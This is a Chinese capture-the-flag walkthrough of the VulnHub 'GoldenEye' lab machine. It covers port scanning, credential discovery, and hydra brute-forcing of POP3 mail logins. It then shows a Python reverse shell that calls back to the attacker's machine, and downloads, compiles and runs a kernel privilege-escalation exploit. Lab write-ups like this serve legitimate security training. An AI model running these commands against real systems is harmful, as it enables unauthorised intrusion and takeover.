GoldenEye

1.参考

It's themed after the great James Bond film (and even better n64 game) GoldenEye.
靶机命名来自詹士邦系列的电影——GoldenEye

nmap详细手册
参考链接
参考链接2

2.复现过程

下载链接:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova

2.1信息收集

nmap探测端口信息
-n:从不进行DNS解析/始终解析[默认值:有时]
-p-:探测全端口
-v:输出更多详情 写的v越多,越详细。比如-vv -vvv
--reason:输出程序判断一个端口是这个状态的原因
-Pn:将所有主机视为联机-跳过主机发现
-A:启用OS检测,版本检测,脚本扫描和traceroute

开放端口如下:
25——smtp
80——http
55006——ssl加密协议(看了攻略,后续爆破邮箱密码会用到)
55007——pop3

继续收集信息,从80入手,页面提示,访问http://your-ip/sev-home

提示需要登陆,可是没有账号密码,返回页面查看源码

首页的源码里并没有注释,但是google f12发现有一个terminal.js

通过阅读提示信息,获取到用户名是:Boris(这里有一个小坑,basic认证的用户名全是小写的)
密码是html实体编码,可以直接写到html页面进行解码,解码后密码为:InvincibleHack3r

通过刚刚获取的账号密码进行basic认证
账号:boris
密码:InvincibleHack3r
查看源码最下边位置:
合格的Goldeneye网络运营商主管:
Natalya
Boris

源码提示,pop3服务在非常高的端口,也就是55006和55007

</video>
<div id=“黄金”>
<h1>黄金眼</h1>
<p>goldeneye是苏联或btal的绝密武器项目。由于您有权访问,因此您绝对拥有最高机密许可,并有资格成为经认证的Goldeneye网络运营商(GNO)</p>
<p>请通过电子邮件向合格的GNO主管发送电子邮件,接受在线的Goldeneye操作员培训</b>成为Goldeneye系统的管理员</p>
<p>请记住,由于暗显安全性非常有效,我们已将POP3服务配置为在非常高的非默认端口上运行
</div>

2.2漏洞利用

使用上述收集到的信息,初步判断,Natalya和Boris应该是邮箱账号,使用hydra进行账号密码爆破:
(1)hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -s 55006 -e nsr -t 64 pop3s://192.168.142.128
(2)hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -s 55007 -e nsr -t 64 -f 192.168.142.128 pop3
使用如上两种方法,我获得了不同的结果,如图可示,更好的是使用了pop3s爆破55006端口,因为本次实验中的pop3似乎不支持-L参数传递用户名字典。

接下来使用nc或者foxmail等连接邮箱的软件,本人抱着参加OSCP考试的目的,所以使用kali中带的nc进行演示

一.登陆并且获取Boris的邮件

二.查看每封邮件内容

一.登陆并且获取Natalya的邮件

二.查看每封邮件内容

其中其中在 “Natalya” 邮件里发现了突破口
获取账号密码
账号:xenia
密码:RCP90rulez!

提示需要修改hosts:
echo -e "192.168.142.128\tsevernaya-station.com" >> /etc/hosts

直接访问:http://severnaya-station.com/gnocertdir/
账号:xenia
密码:RCP90rulez!
登陆后发现有一封邮件,暴露了doak的email name

爆破出账号密码:
账号:doak
密码:goat

获取邮箱密码

发现一个txt文件

提示线索在图片里

下载图片之后有两种方法获取描述信息:
(1)strings for-007.jpg
(2)exiftool for-007.jpg(此方法需要自己apt-get install exiftool)
base64解密:
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d



根据主页提示以及base64解码,获取账号密码
账号:admin
密码:xWinter1995x!

修改Spell engine

修改aspell为python反弹shell,IP是kali机器的IP:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.142.129",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali本地监听443端口

调用系统的拼写检查功能

getshell

使用python获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
whoami查看权限
uname -a 查看内核

https://www.exploit-db.com/搜索内核版本,第二个为c的提权exp

kali中下载exp:
wget https://www.exploit-db.com/download/37292
靶机没有gcc,修改源码中的gcc为cc

kali利用python搭建http服务:python -m SimpleHTTPServer 80
靶机下载:cd /tmp
wget http://192.168.142.129/37292.c

cc 37292.c -o cc
ls
chmod 777 cc
./cc
whoami

执行如上命令,发现已经是root权限,python获取交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
查找flag:find / -name *flag*

cat /root/.flag.txt

最后的flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Nmap扫描原理与用法 1Nmap介绍 Nmap扫描原理与用法PDF:下载地址 Nmap是一款开源免费的网络发现(...
    y0ungta1a阅读 5,422评论 0 50
  • Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。“所感兴趣的端口表格...
    令狐冲233阅读 1,977评论 0 4
  • Nmap参数详解 Nmap支持主机名,ip,网段的表示方式 例如:blah.highon.coffee, namp...
    小兲阅读 15,447评论 0 1
  • 村里人_1f23阅读 119评论 0 1
  • 1、话不投机半句多 今天看到以前一个同事在朋友圈晒的还款单:并写道:“过了今天,还有三个月,开心……一个月工资4k...
    Amy啊爱米呀阅读 334评论 0 4